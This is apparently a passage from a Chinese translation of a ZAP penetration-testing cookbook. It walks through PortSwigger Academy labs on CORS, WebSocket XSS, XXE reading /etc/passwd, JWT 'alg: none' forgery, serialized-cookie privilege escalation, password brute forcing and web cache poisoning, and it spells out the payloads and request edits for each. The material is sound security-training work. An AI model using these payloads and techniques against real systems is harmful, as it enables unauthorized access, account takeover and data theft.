,表示允许所有来源,一个是<origin>
,表示仅允许指定的来源,另一个是null
,用于多种情况,其中之一是在网站接收跨来源重定向或使用file:协议时。Access-Control-Allow-Credentials
头部仅接受true
值,用于发送认证信息。
这种漏洞源于配置错误。配置错误可能包括但不限于允许所有来源或接受以特定字符串结尾的所有来源,如zapproxy.com
。攻击者可能会注册attackersitezapproxy.com
,并且这个来源将被接受。
CORS 漏洞的影响取决于设置的头部和网站提供的信息。如果Access-Control-Allow-Credentials
设置为true
,攻击者可以从网站中提取认证信息。
还有更多…
CORS 攻击可以与其他形式的攻击结合使用,以利用目标服务器中的其他漏洞。以下是可能与 CORS 结合使用的一些攻击类型:
-
XSS
:攻击者可以利用 CORS 攻击绕过同源策略,将恶意代码注入到网站中,从而盗取网站访问者的敏感信息 -
CSRF
:攻击者可以利用 CORS 攻击欺骗服务器,使其相信请求来自可信来源,从而允许攻击者代表真实用户执行操作 -
钓鱼攻击:攻击者可以利用 CORS 攻击在恶意网站上生成一个虚假的登录页面,然后通过 CORS 攻击在用户输入凭证后访问用户的个人信息。
攻击者通常通过修改请求头发起这些攻击,欺骗服务器使其认为请求来自可信的来源,生成虚假的登录页面,或注入恶意代码。攻击者还必须能够窃取身份验证令牌或获取正在暴露的敏感数据。
测试 WebSockets
WebSockets 是客户端和后端服务(如数据库或 API 服务)之间持续的双向通信通道。WebSockets 可以传输任意数量的协议,并且提供服务器到客户端的消息传递,无需轮询(即一个程序或设备反复检查其他程序或设备的状态的过程)。
准备工作
此实验需要一个 PortSwigger Academy 账户和 ZAP,用于拦截从服务器到浏览器的请求和响应。
在开始实验前,在 ZAP 中,进入 工具,选项,并向下滚动至 WebSockets
部分。在此,您必须启用 在启用‘所有请求/响应断点按钮’时中断。否则,您将无法捕获 WebSocket 请求并进行操作以完成此实验。
如何操作…
WebSockets 被用来实现这个在线商店中的实时聊天功能。
在本实验中,一位虚拟的支持代表,也就是机器人,将读取您发送的聊天消息请求。在解读响应时,我们将使用 WebSocket 消息在支持代表的浏览器中创建一个 alert()
弹出窗口。如果成功,它将自动完成实验。
按照以下步骤开始:
-
使用浏览器代理至 ZAP,导航至网址并登录 PortSwigger Academy 网站以启动实验室(
portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities
)。 -
在 ZAP 中,输入范围 URL 到手动浏览器并启动浏览器打开 Firefox。点击 继续到
-
在网页应用的右上角,点击 实时聊天 并发送一条随机聊天消息。
-
在 ZAP 的 WebSockets 历史 标签中,查找您之前在原始 WebSocket 消息中发送的聊天消息(参见 图 9.22):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.22_B18829.jpg
图 9.22 – WebSockets 历史标签
-
返回应用中,发送另一条新消息,但这次包含一个小于符号:
<
-
回到 ZAP WebSocket 历史记录中,找到相应的 WebSocket 消息,并观察到小于符号已经在客户端发送之前被转化为 HTML 编码,如 图 9.23 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.23_B18829.jpg
图 9.23 – HTML 编码的小于字符
-
再次发送另一条聊天消息,但这次设置一个断点,在消息传输过程中,操控请求使其包含以下载荷:
<img src=1 onerror='alert(1)'>
重要提示
如果网页应用程序的实时聊天功能停止工作或聊天显示断开连接,打开一个新的实时聊天继续该过程。
- 浏览器将触发警报,支持代理客户端也会发生此操作:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.24_B18829.jpg
图 9.24 – 一个 JavaScript 警报
在第一个截图中,你会看到警报框在客户端弹出。聊天消息在图 9.25中显示时,图像标签的 HTML 图标为空白。这是我们的恶意载荷:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.25_B18829.jpg
图 9.25 – 在聊天中展示的成功攻击
它是如何工作的…
根据 RFC 6455,WebSocket 协议允许客户端在运行错误代码的组织元素中与远程主机进行双向通信,前提是远程主机已允许来自该代码的通信。这使用了基于来源的安全概念,广泛应用于在线浏览器。该协议以握手开始,然后将传输控制协议(TCP)与一些简单的消息框架进行分层。该技术的目标是为需要与服务器进行双向通信的浏览器应用程序提供一种方法,而无需启动多个 HTTP 连接(即,利用XMLHttpRequest
或<iframe>
和长时间轮询)。
重要提示
一些攻击可能会导致你失去连接,这时你需要创建一个新的连接。
几乎任何与 WebSocket 相关的网页安全漏洞都有可能发生:
-
用户输入处理不当时传送到服务器会导致漏洞,如 SQL 注入或XML 外部实体(XXE)注入
-
WebSocket 的盲点漏洞可能需要通过带外(OAST)方法来利用
-
如果通过 WebSocket 将攻击者控制的数据发送给其他应用程序用户,可能会导致 XSS 或其他客户端漏洞
还有更多…
在攻击 WebSocket 之前初始化你的方法时,查看 JavaScript 文件或页面源代码,查找 WebSocket 端点。在 JavaScript 代码中寻找以下内容:
-
wss://
-
ws://
-
websocket
WebSocket 的 URL 格式将是wss://example.com
(wss://
用于安全套接字层(SSL)连接)。类似于https://
,以及ws://
,就像http://
一样。
接下来,要确定 WebSocket 端点是否在 ZAP 中接受来自其他源的连接,请检查连接。通过手动请求编辑器发送请求,并在origin
头中指定你的源。如果连接成功,服务器将回复状态码101
,且你的请求源将被反映或在响应的origin
头中以通配符(*****)表示。
另见
RFC6455: WebSocket 协议: www.rfc-editor.org/rfc/rfc6455
第十章:高级攻击技巧
欢迎来到 第十章,高级攻击技巧。在本章中,我们将介绍一些高级攻击技术,如 XML 外部实体(XXE)攻击和 Java 反序列化,我们将解释并演示如何在测试应用程序中利用这些漏洞。我们还将有趣地进行密码更改的暴力破解、Web 缓存中毒以及处理 JSON Web Tokens。
本章将介绍以下内容:
-
执行 XXE 攻击
-
处理 JSON Web Tokens
-
执行 Java 反序列化攻击
-
密码暴力破解通过密码更改
-
Web 缓存中毒
技术要求
本章中,你需要使用常见的浏览器,如 Mozilla Firefox。你还需要使用你的 PortSwigger 账户来访问将用于本章实验的 PortSwigger Academy 实验室。
执行 XXE 攻击
在 XXE 攻击中,攻击者向应用程序发送包含外部实体引用的 XML 输入。此 XML 输入会导致应用程序表现出未预期的行为。成功利用 XXE 攻击可能导致攻击者查看文件内容、窃取数据、服务器端请求伪造(SSRF)以及远程代码执行。
准备工作
本实验需要一个 PortSwigger Academy 账户,并且需要 ZAP 来拦截来自服务器到浏览器的请求和响应。
如何做到…
在本实验中,我们将演示执行 XXE 攻击以检索 passwd
文件的内容。请按照以下说明操作:
-
使用代理到 ZAP 的浏览器导航到 URL,并登录到 PortSwigger Academy 网站以启动实验室。我们将在本节中进行的实验是 利用外部实体的 XXE 攻击来检索文件。实验链接如下:
portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
。 -
启动实验,将其添加到上下文中,并点击 仅显示范围内的 URL。
-
在实验室主页上,点击任意产品下方的 查看详情。然后点击 检查库存。
-
点击 检查库存 会向应用程序发送一个
POST
请求。让我们找到这个POST
请求。右键点击请求并选择 使用请求编辑器打开/重新发送。 -
一旦 请求编辑器 窗口打开,在 XML 声明后添加以下有效负载,并将产品 ID 替换为
xxe
外部实体引用,如 图 10.1 所示。然后,点击 发送:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.1_B18829.jpg
图 10.1 – XXE 攻击
- 正如你在 响应 标签页中看到的,
passwd
文件的内容在返回的响应中列出,如 图 10.2 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.2_B18829.jpg
图 10.2 – passwd 文件
这就是本实验的全部内容。
原理…
XXE 攻击是一种可以在处理 XML 输入的应用程序中发现的漏洞。此类攻击发生在攻击者能够将恶意外部实体注入到 XML 文档中,然后这些外部实体可以用来危害应用程序或底层系统的安全性。
在 XXE 攻击中,攻击者首先创建一个包含外部实体引用的 XML 文档,通常是远程文件或资源。然后,攻击者将这个恶意的 XML 文档提交给易受攻击的应用程序,应用程序尝试处理并访问外部实体。这可能导致应用程序崩溃或泄露敏感信息,例如内部网络地址或系统文件。
在这个教程中,我们通过执行 XXE 注入攻击查看了 /etc/passwd
文件的内容。为了执行 XXE 注入攻击,我们通过添加 DOCTYPE
元素更改了 XML 输入,以便加入包含 passwd
文件路径的外部实体。然后,外部实体被用在 productId
值中,导致应用程序在响应中返回 passwd
文件内容,这使我们能够收集更多关于系统账户的信息。
操作 JSON Web Tokens
JSON Web Tokens
(JWTs)用于身份验证、会话管理和系统间的数据授权。JWT 漏洞通常是设计缺陷、配置错误或使用不安全的库所导致的。在测试 JWT 漏洞时,测试者尝试绕过签名验证过程,从而绕过身份验证或授权机制。JWT 中传递的信息称为声明(claims),并且是经过加密签名的 JSON 对象。每个 JWT 由三部分组成:第一部分是头部,第二部分是负载,第三部分是签名。每个部分用 .
(点)分隔,并使用 base64
编码。头部包含有关令牌的信息,负载部分包括声明,签名通常是头部和负载部分的哈希值,常用于完整性检查。
在这个教程中,你将攻击一个配置错误的服务器,该服务器发放允许接受未签名令牌的 JWT。为了完成实验,我们将指导你停用用户 – Carlos – 并更改会话令牌,以便你可以访问管理员面板。
准备开始
本实验需要一个 PortSwigger Academy 账户,一个 Base64
编码/解码器,并且 ZAP 应该能够拦截从服务器到浏览器的请求和响应。
如何操作…
在本部分,我们将完成 PortSwigger Academy 的 JWT 身份验证绕过通过签名验证漏洞 实验,演示如何更改 JWT 负载中的值,以管理员身份登录并删除用户账户。按照以下步骤开始实验:
-
使用浏览器代理到 ZAP,导航到 URL 并登录 PortSwigger Academy 网站以启动JWT 认证绕过通过错误签名验证实验室 (
portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
)。 -
一旦访问实验室,点击我的账户,并使用实验室描述中提供的凭据登录。
-
打开 ZAP,找到
GET
请求到**/my-account 页面**。右键点击请求并选择使用请求编辑器打开/重发…。 -
你可以在请求中看到 cookie 会话是一个 JWT,因为它是通过一个点分隔的。这个实验的目标是通过操作 JWT cookie 来访问管理员门户。我们需要一个
Base64
编码/解码器;在这个实验中,我使用的是 CyberChef (gchq.github.io/CyberChef
)。复制令牌中的头部,它是点之前和session=
之后的第一部分。打开你最喜欢的 Base64 解码器并编码头部。将alg
值从RS256
更改为none
,然后再次编码,如图 10**.3所示。复制编码后的值并保存,以便稍后在实验中使用:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.3_B18829.jpg
图 10.3 – 无算法
- 现在,复制 JWT 中的有效负载;它是位于两个点之间的第二部分。将其解码到 Base64 解码器中,并将
sub
值从你使用的用户名改为administrator
,如图 10**.4所示。对有效负载进行编码,并复制并保存编码后的有效负载,以便在下一步中使用:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.4_B18829.jpg
图 10.4 – 修改用户账户
- 在 ZAP 的请求编辑器中,将
/my-account
改为/admin
。删除session=
之后的所有内容,并添加我们之前创建的编码头值。添加一个点,然后添加我们之前创建的编码有效负载值。有效负载后再添加一个点。图 10*.5*显示了所添加的值:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.5_B18829.jpg
图 10.5 – 会话 cookie
-
点击发送;如你所见,在响应标签中,应用程序返回了管理员面板的代码。
-
打开浏览器,进入
/admin
页面,如你所见,你无法查看管理员页面。为了查看管理员页面,我们需要更改 cookie 值。我使用 Chrome 浏览器来更改 cookie 值。我必须打开开发者工具,导航到应用程序标签,找到Cookies
下的 cookie。在值栏中,我双击了该值并粘贴了我们创建的 JWT。 -
在添加我们创建的 JWT 后,刷新页面。如你所见,我们可以查看管理员页面,如图 10**.6所示。现在让我们删除用户
carlos
。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.6_B18829.jpg
图 10.6 – 用户页面
这结束了本教程的实验部分。我们已经绕过了身份验证和授权机制,成功访问了管理员页面。
工作原理…
在这个实验中,我们解码了令牌的头部,并将alg
属性的值改为none
。通过将alg
属性更改为none
,我们可以绕过令牌中签名的验证。接着,我们解码了有效载荷并将sub
属性的值改为administrator
,以便能够使用管理员帐户。之后,我们重新编码了头部和有效载荷,并将其用作我们的会话 cookie 值。通过这样做,我们成功绕过了网站的身份验证和授权机制。
还有更多…
使用none
值作为alg
属性的值并不是让应用服务器接受你创建的 JWT 的唯一方法。另一种绕过身份验证和授权的方法是找到或暴力破解密钥。HS256
是另一种使用密钥的alg
值。如果攻击者找到了密钥,他们就可以签署任何他们创建的 JWT 并将其发送到服务器。像 Hashcat 这样的工具可以使用字典列表对密钥进行暴力破解。
执行 Java 反序列化攻击
Java 使用一种名为序列化的过程,将对象转换为字节流。相反,反序列化是将序列化的字节流还原为机器内存中的对象。在这种类型的攻击中,攻击者通过修改序列化对象将恶意数据注入应用程序代码。此类攻击只有在网站反序列化用户提供的数据时才有可能。如果必须反序列化用户提供的数据或来自不可信源的任何数据,则必须实现检查和保护措施,以防止不可信的源篡改数据。检查和保护措施必须在开始反序列化过程之前进行,否则将不起作用。由于防止反序列化攻击的难度较大,只有在无法避免的情况下才应使用数据反序列化。
在本教程中,你将攻击一个易受序列化基础会话机制的漏洞,该漏洞易受到权限提升攻击。进行此攻击时,你将编辑会话 cookie 中的序列化对象,利用此漏洞获得管理员权限,删除 Carlos 的帐户。
准备工作
本实验需要一个 PortSwigger Academy 账号和 ZAP 工具,以便拦截来自服务器到浏览器的请求和响应。
如何操作…
以下步骤将指导你完成解决 PortSwigger Academy 修改序列化对象实验的过程。在本实验中,你将修改会话 cookie 中的序列化对象,以提升你的帐户权限,并能够删除一个用户帐户。请按照以下说明操作:
-
在浏览器中代理到 ZAP,导航到网址并登录 PortSwigger Academy 网站以启动实验室 (
portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects
)。 -
打开 ZAP 并转到
Manual Explorer
。在 Firefox 启动器中输入实验室 URL。 -
使用 PortSwigger 提供的凭证登录实验室应用程序。
-
点击登录后的
GET /my-account
请求的响应,其中包含一个会话 cookie。这个 cookie 似乎是 URL 和 Base64 编码的。 -
要理解该字符串中的数据,可以通过右键单击选定的 cookie 值,将其发送到
Encode/Decode/Hash
工具。点击Decode
标签并查看Base64 Decode
行。你将看到以下值:O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
-
这个 cookie 实际上是一个序列化的 PHP 对象。字符串值总是包含在双引号中。
s
是对象的大小,后面跟着对象名称,且用双引号括起来。在代码字符串的末尾,admin 属性包含b:0
,表示一个布尔值false
。在Manual** **Request Editor
中打开此请求。 -
在解码后的形式中,打开 CyberChef,将
b:0
的值更改为b:1
,表示true
,然后再次进行 Base64 编码并进行 URL 编码=
。将这个编码后的字符串重新插入到 cookie 中并发送请求。见 图 10.7:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.7_B18829.jpg
图 10.7 – CyberChef 编码的会话数据
- 当你收到响应时,滚动查看 HTML 代码的内容,如 图 10.8 所示,找到一个显示
/admin
的链接。这表明你访问了一个具有管理员权限的页面:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.8_B18829.jpg
图 10.8 – 带有 /admin 路径的响应
- 在下一步中,返回到
Request
标签并更新GET
请求路径为/admin
,然后再次点击Send
。你将收到200
HTTP 状态,然后看到一个特定的href
用于删除用户账户:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.9_B18829.jpg
图 10.9 – /admin 响应
- 更新路径以包含
/admin/delete?username=carlos
并再次发送请求以完成此步骤。你可能需要刷新浏览器页面以查看实验室的完成状态。
它是如何工作的…
当使用 Java 构建对象并且这些对象不再使用时,它们会被保存在内存中,稍后会被垃圾回收器删除。在传输数据、将数据存储在磁盘上或通过网络传输数据之前,Java 必须将这些对象转换成字节流。该对象的类必须实现 Serializable 接口才能完成此操作。如前所述,序列化使我们能够将一个对象的状态转化为字节流。实际的代码不包含在该字节流中。
恶意用户试图将修改过的序列化对象引入系统,以破坏系统或其数据,从而导致 Java 反序列化漏洞。
还有更多…
Java 应用程序通过一种称为垃圾回收的过程自动管理其内存。Java 应用程序可以通过编译为字节码在Java 虚拟机(JVM)上执行。对象在堆内存中创建,堆是为 Java 程序在 JVM 上启动时保留的一块内存区域。一些对象最终会变得过时。为了释放内存,垃圾回收器会发现这些无用的对象并将其删除。
至于 Serializable 接口,它包含在java.io
包中。它是一个标记接口,没有方法或字段。因此,实现该接口的类不需要定义任何方法。如果类希望能够序列化或反序列化其实例,必须实现该接口。
另见
有关 PHP 序列化的更多信息,请访问www.php.net/manual/en/function.serialize.php
。
对于 CyberChef,请访问gchq.github.io/CyberChef/
。
密码暴力破解通过密码更改
暴力破解攻击是一种通过试错法来破解登录信息、加密密钥和密码的方式。这是一种简单但有效的方法,用于未经授权访问用户账户、商业系统或网络。直到恶意用户发现正确的登录信息为止,他们会尝试多种用户名和密码组合来获得正确的认证凭证。
在这个实例中,我们将通过暴力破解攻击应用程序中的一个脆弱的密码更改功能。
准备工作
此实验需要一个 PortSwigger 学院账户和 ZAP 来拦截从服务器到浏览器的请求和响应。
如何操作…
在这个实例中,我们将通过完成 PortSwigger 学院的密码暴力破解通过密码更改实验来演示暴力攻击,寻找正确的凭证。要开始实验,请按照以下说明操作:
-
在通过 ZAP 代理的浏览器中导航到 URL,并登录到 PortSwigger 学院网站以启动实验(
portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change
)。 -
下载 PortSwigger 提供的认证实验室密码并保存到计算机上的文本文件中。您将专门使用这些密码来进行本教程(
portswigger.net/web-security/authentication/auth-lab-passwords
)。 -
打开 ZAP 后,进入手动探索,通过启动器打开 Firefox,并解析 PortSwigger 实验室 URL。继续进入 PortSwigger 认证实验室。
重要提示
在 ZAP 中,为了更轻松地查看请求和响应,务必通过右键点击站点窗口中的网址,并选择将站点包含到上下文中,然后点击靶心图标以隐藏其他站点。这可以在信息窗口的历史选项卡中以及其他有靶心图标的地方完成。
-
使用提供的凭据登录实验室应用程序,并在 HUD 中设置断点。
-
登录后,你将进入可以更新当前密码的网页。在这里,我们将开始测试其功能。请记住,用户名是在请求中作为隐藏输入提供的。
-
我们将通过这个功能进行实验来枚举正确的密码,但首先,我们来看一下获取不同响应的几种方式:
- 输入错误的当前密码,然后输入两个匹配的新密码。如果你这样输入密码两次,账户会退出并被锁定。然后,当尝试重新登录时,会收到被锁定一分钟的错误信息,如图 10.10所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.10_B18829.jpg
图 10.10 – 锁定账户信息
-
但如果你使用错误的当前密码,并且新密码不匹配,你将不会被登出或锁定。会出现当前密码不正确的错误信息。
-
最后,如果你使用正确的当前密码,但输入了两个不同的新密码,你将收到一个新密码不匹配的错误信息,显示在网页上。
-
在历史选项卡中,打开你在
Fuzzer
中输入了正确的当前密码和两个不同的新密码的请求,如图 10.11所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.11_B18829.jpg
图 10.11 – 更改密码的 POST 请求
-
点击编辑以将用户名参数更改为
carlos
。 -
接下来,选择
password
在current-password
参数中,并点击添加,再次点击添加,然后从下拉菜单中选择文件。这将添加我们的密码列表,用于暴力破解。确保其他两个新的password
参数有不同的值,如前面的示例所示,图 10.11。 -
在文件有效负载中,点击**选择…**以打开计算机目录,导航到你保存文件的位置。
-
接下来,在第二个密码后面空白的地方添加第二个有效负载,
strings
,添加新密码不匹配的行,勾选多行框,点击添加,然后点击确定。
重要提示
添加 Stings 有效负载类型有助于你在响应体的内容中执行grep 匹配。
你的页面应该包含两个有效负载,如图 10.12所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.12_B18829.jpg
图 10.12 – Fuzzer 有效负载
-
开始 Fuzz 测试。
-
攻击会运行一段时间,停止后,查看包含
Reflected
一词的响应,这些响应可以在信息窗口的Fuzzer
标签页中找到。排序状态栏,如图 10.13所示。滚动浏览有效载荷时,查看响应的主体,寻找<p class=is-warning>New passwords do not match
。此有效载荷将是你的密码:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.13_B18829.jpg
图 10.13 – 模糊器历史
- 返回浏览器中的应用程序,登出当前登录的账户,然后使用
carlos
用户名和新发现的密码重新登录。
它的工作原理…
攻击者寻找应用程序中的区域,强行尝试多个用户名或密码,并采取不同的技术来实施攻击。最常见的四种方式如下:
-
简单的暴力破解攻击是攻击者通过逐个手动输入来尝试猜测用户的登录信息。
-
字典攻击是一种密码猜测攻击,攻击者输入一系列可能的密码,这些密码由将字母与符号或数字互换组成,然后与目标用户名进行对比。通常,这种攻击需要更长的时间才能成功,因此成功的可能性较低。
-
彩虹表攻击包含一个由密码及其哈希值构成的数据库,然后将其与目标哈希进行比对。这个过程破解的时间较短。
-
混合攻击结合了字典攻击和彩虹表攻击。
许多密码和表格来自以前泄露的地下来源,这些密码和表格被出售或在互联网上传播,并帮助进行更精准的网络攻击。
另请参见
其他可帮助构建密码列表的资源可以通过搜索引擎搜索关于所用技术的默认凭据,或利用以下链接之一:
凭据:
字典:
Web 缓存中毒
Web 缓存中毒是一种复杂的技术,攻击者通过操纵 Web 服务器及其缓存功能,向其他用户发送恶意 HTTP 响应。在本实验中,我们将利用一个脆弱的实验环境,该环境没有正确验证易受 Web 缓存中毒攻击的无密钥头部中的输入。此攻击将利用 Web 应用程序的首页,毫无防备的访问者将成为攻击目标。我们将引导你完成 Web 缓存中毒的过程,该响应将导致访问者的浏览器执行恶意 JavaScript 代码。
准备工作
此实验需要一个 PortSwigger Academy 帐号,并且需要 ZAP 来拦截从服务器到浏览器的请求和响应。
操作步骤…
在本节中,我们将列出你可以采取的步骤,以完成 PortSwigger Academy Web 缓存中毒与无密钥头部 实验,并中毒缓存以显示 cookie。启动实验的步骤如下:
-
在浏览器代理到 ZAP 的情况下,访问网址并登录 PortSwigger Academy 网站以启动实验:
https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header
-
捕获网站的首页。为了重新获取此响应,可以刷新网页或点击首页按钮。
-
查找从首页生成的
GET
请求,并在手动请求编辑器中打开,如图 10.14所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.14_B18829.jpg
图 10.14 – GET 请求
- 接下来,在网址后添加缓存破坏查询参数(/?cb=1337)。
缓存破坏头是一种 HTTP 响应头,用于防止网页浏览器缓存网页中的特定资源。在需要确保用户始终看到资源的最新版本,而不是可能已经存储在浏览器缓存中的过时版本时,这种方式非常有用。缓存破坏头通常包含一个唯一的标识符或时间戳,每次请求资源时都会发生变化,这迫使浏览器下载最新版本的资源,而不是使用缓存版本。这有助于确保用户始终可以访问网站上的最新内容。
重要提示
使用名为Parameter Digger
的扩展可以自动化定位可能导致 Web 缓存中毒的漏洞参数。更多信息,请参见另见部分。
- 此外,添加
X-Forwarded-Host
头部,使用任何随机主机名,如 图 10.15 所示,诸如zaproxy.org
,然后点击 发送。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.15_B18829.jpg
图 10.15 – 缓存清除查询和 X-Forwarded-Host 头部
- 当使用
X-Forwarded-Host
头部时,网页应用源代码中会显示一个动态生成的引用,用于导入存储在/resources/js/tracking.js
的 JavaScript 文件。
查找资源所需的所有细节都包含在这个绝对 URL 中,如 图 10*.16* 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.16_B18829.jpg
图 10.16 – 网页应用源代码中的动态 URL
- 此外,在查看响应时,如 图 10*.16* 所示,响应中包含
X-Cache: hit
头部。如果看到X-Cache: miss
头部,请继续点击 发送,直到获得命中结果:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.17_B18829.jpg
图 10.17 – X-Cache: miss 响应
X-Cache
头部是一个 HTTP 响应头部,用于指示资源是从网页服务器的缓存中提供的,还是直接从源服务器提供的。如果头部包含 hit
的值,则表示资源是从缓存中提供的,这比直接从源服务器提供资源更快捷、更高效。这对于提高网站性能非常有用,因为它可以减少服务器与客户端之间传输的数据量。
-
通过这些信息,点击链接前往攻击服务器并更新文件名为来自绝对 URL 的 JavaScript 路径:
/resources/js/tracking.js
-
接下来,输入一个 JavaScript XSS 负载到请求体中,并点击 保存 以保存攻击:
alert(document.cookie)
-
再次打开
GET
请求并在 手动响应编辑器 中删除缓存清除参数,然后添加指向攻击服务器的X-Forwarded-Host
头部(确保使用攻击页面顶部提供的 EXPLOIT-SERVER-ID):X-Forwarded-Host: EXPLOIT-SERVER-ID.exploit-server.net
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.18_B18829.jpg
图 10.18 – 网页缓存污染的 GET 请求
重要提示
在构造 GET
请求时,务必移除缓存清除头部,并且在添加攻击服务器 URL 时,不要包括 https://
或尾部的 /
。
- 点击 发送,并继续发送请求,直到攻击服务器 URL 在响应中显示,并且头部中包含
X-Cache: hit
,如 图 10*.19* 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.19_B18829.jpg
图 10.19 – 成功的攻击请求
- 一旦获得命中结果,打开浏览器中的网页应用并刷新页面。这将把被污染的网页缓存 URL 加载到浏览器中,触发
alert()
JavaScript 负载,如 图 10*.20* 所示。
重要提示
这个实验的网页缓存会在每 30 秒过期。务必迅速进行测试。
- 你可能需要继续发送恶意的
GET
请求,然后刷新 Web 应用浏览器页面,才能使网页中毒并加载执行载荷:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_10.20_B18829.jpg
图 10.20 – XSS 载荷执行
它是如何工作的…
Web 缓存中毒通常涉及通过篡改对 Web 服务器请求的 HTTP 头部,以使服务器缓存一个恶意或错误的响应版本。例如,攻击者可能会发送一个伪造的 Last-Modified
头部,指示响应应该被视为新鲜的,并由服务器缓存,即使它包含恶意或错误的内容。当后续请求相同资源时,服务器将从缓存中提供被污染的响应,而不是从原始服务器请求新副本。
另见
查找参数的工具被称为 Param Digger
。它揭示了那些晦涩、不相关或隐藏的特征,这些特征有助于扩大攻击面,并使发现漏洞变得更加简单。它使用暴力破解技术,通过提供的种子 URL 来查找参数:www.zaproxy.org/docs/desktop/addons/parameter-digger/
。
第十一章:ZAP 高级探索
这里是最后一章。你已经了解了 Zed Attack Proxy
(ZAP)提供的各种选项,从浏览界面到配置,从爬取 web 应用、扫描和报告,到了解身份验证、授权、会话管理、未经验证输入的注入攻击,以及业务逻辑测试、客户端攻击和一些高级技术。最后一章将节奏有所变化,探讨 ZAP 的其他实现和用途。我们将介绍如何使用 OWASP ZAP GUI 开始 web 爬虫并扫描 API 漏洞,同时也会介绍如何使用 Docker 中的 API 扫描 web 应用。我们还将讨论并演示如何将 ZAP 集成到 Jenkins 流水线中,进行 web 应用的动态分析,并讲解如何安装、构建和配置 ZAP GUI OAST 服务器,进行带外漏洞检测。
在本章中,我们将涵盖以下内容:
-
如何使用 ZAP GUI 本地 API 扫描目标
-
如何通过 Docker 使用 ZAP API
-
在 Jenkins CI DevOps 流水线中利用 ZAP DAST 测试
-
安装、配置和运行 ZAP GUI OAST 服务器
技术要求
在本章中,你需要安装多个工具,这些工具将与 ZAP 协同工作以完成各项配方。对于 API 配方,你需要安装 Docker 和 OWASP ZAP API 的命令行脚本。Docker 还将用于 Jenkins 流水线以及独立的 BOAST 服务器。此外,我们将继续使用 Mozilla Firefox 浏览器和 GitHub Juice-shop 应用代码的分支。最后,我们将使用命令行工具 cURL 进行测试。
如何使用 ZAP GUI 本地 API 扫描目标
ZAP API 扫描是 ZAP Docker 镜像中包含的脚本。它经过优化,能够通过本地文件或 URL 扫描由 OpenAPI、SOAP 或 GraphQL 指定的 API。它会导入你提供的定义,然后对发现的 URL 进行主动扫描。ZAP API 使得将 ZAP 功能集成到脚本和应用程序中成为可能。在这个配方中,我们将演示如何下载 ZAP Docker 镜像,然后运行它以扫描 Juice-Shop URL。
准备工作
需要安装 Docker 以及 ZAP Docker 镜像。确保 ZAP 镜像能够拦截从服务器到浏览器的请求和响应。我们还将使用命令行来运行镜像并启动爬虫和扫描。还需要使用 OWASP ZAP Desktop:
https://www.docker.com/products/docker-desktop
如何操作…
基于 ZAP API 的有效自动化分析可以帮助识别新出现的漏洞。通过使用当前的功能回归测试套件和 ZAP Python API,OWASP ZAP 将帮助你将安全测试自动化,并将其集成到应用程序的持续集成/
持续交付(CI**/
CD**)流水线中。
重要提示
ZAP API 扫描是 ZAP Docker 镜像中可用的脚本。在这里下载 OWASP ZAP Docker:docker** **pull owasp/zap2docker-stable
。
-
通过运行桌面可执行文件、
zap.sh
脚本(Linux/macOS)或zap.bat
脚本(Windows)启动 OWASP ZAP:Windows: .\zap.bat
Linux/Mac: ./zap.sh
Cross Platform: java -Xmx512m -jar zap-2.12.0.jar
重要说明
要以无头模式运行 ZAP,请使用 -daemon 标志。OWASP ZAP 守护程序模式是一个功能,允许工具作为守护程序或后台服务在计算机上运行。如果您希望设置对 Web 应用程序的持续扫描或希望使用 OWASP ZAP API 远程控制工具,则此功能可能会非常有用。
- 在 OWASP ZAP UI 中,打开工具然后选择选项,转到
API
